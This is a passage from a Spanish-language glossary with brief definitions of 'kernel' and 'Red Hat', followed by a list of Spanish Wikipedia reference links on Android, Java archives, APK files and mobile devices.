aplicaciones cuando éstas tienen un gran numero de archivos de cddigo fuente.

Kernel: En informética, un nacleo o kernel es un software que constituye una
parte fundamental del sistema operativo, y se define como la parte que se ejecuta
en modo privilegiado.

Red Hat: Red Hat, Inc. es una multinacional estadounidense de software que
provee software de codigo abierto principalmente a empresas.
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https://es.wikipedia.org/wiki/Android
https://es.wikipedia.org/wiki/Java_Archive
https://es.wikipedia.org/wiki/Plataforma_Java
https://es.wikipedia.org/wiki/APK_(formato)#cite_note-1
https://es.wikipedia.org/wiki/Tel%C3%A9fonos_inteligentes
https://es.wikipedia.org/wiki/Tableta_(computadora)
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